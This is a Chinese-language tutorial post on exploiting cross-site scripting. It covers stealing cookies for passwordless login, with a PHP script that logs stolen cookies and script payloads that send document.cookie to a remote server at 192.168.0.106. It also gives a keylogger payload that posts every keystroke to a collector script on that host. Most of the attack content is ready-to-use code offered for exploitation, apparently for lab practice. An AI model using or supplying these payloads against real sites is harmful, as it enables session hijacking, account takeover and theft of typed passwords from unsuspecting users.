欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

xss漏洞之——漏洞利用

程序员文章站 2022-07-15 15:38:31
...

1.获取cookie进行无密码登陆

原理
网页被植入网页被植入xss脚本,普通用户访问此网页时,会自动将用户本地的cookie缓存发送到指定远端服务器
利用
(1)首先登陆一个页面,抓包获取cookie
xss漏洞之——漏洞利用
(2)复制此页面里任一选项的url,重启浏览器后直接访问此url,抓包修改cookie为上面获取的登陆成功后的cookiexss漏洞之——漏洞利用
(3)页面登陆成功,无需密码
xss漏洞之——漏洞利用

2.利用XSS漏洞获取管理员权限(获取cookie)

(1)在我们自己的远程服务器创建一个接收cookie的文件1.php,1.php接受cookie后,将cookie写入到1.txt保存
代码
<?php $file=fopen("1.txt","a"); if($_GET['cookie']){ $cookie=$_GET['cookie']; fputs($file,"$cookie\r\n"); } ?>
(2)构造url,使打开此url的用户发送本地cookie给远程服务器
(2.1)直接将代码拼接到url,将cookie值改为获取本地cookie,并执行
代码:

<script>document.location='http://192.168.0.106/xss/1.php?cookie='+document.cookie;</script>

效果:
打开此url的用户跳转到如下界面,并将本地cookie发送到远程服务器,写入远程服务器的1.txt中
(2.2)直接拼接url访问时会跳转页面,可将代码写入一个图片标签里在再拼接到url
代码

<script>document.body.innerHTML+="<img src='http://192.168.0.106/xss/1.php?cookie="+document.cookie+"'>";</script>

xss漏洞之——漏洞利用

3.XSS键盘记录

(1)在我们自己的远程服务器创建一个接收用户按键记录的文件keylog.php,keylog.php接收键盘记录后,将键盘记录写入到keylog.txt保存
代码:

<?php
header("Access-Control-Allow-Credentials: true");
header("Access-Control-Allow-Origin: 192.168.0.106");
header("Access-Control-Request-Methods:GET, POST, PUT, DELETE, OPTIONS");
header('Access-Control-Allow-Headers:x-requested-with,content-type,test-token,test-sessid');
$file=fopen("keylog.txt","a");
$_REQUEST['keylog'];
$key=$_REQUEST['keylog'];
fputs($file,$key);
?>

(2)构造url,使打开此url的用户发送所有的键盘记录给我们的远程服务器(通过ajax,隐蔽)
代码:

<script>document.onkeydown=function (ev) {var xhr=new XMLHttpRequest();xhr.open('POST','http://192.168.0.106/xss/keylog/keylog.php',true);xhr.setRequestHeader('Content-type','application/x-www-form-urlencoded');xhr.send('keylog='+String.fromCharCode(ev.keyCode));}</script>

效果:
xss漏洞之——漏洞利用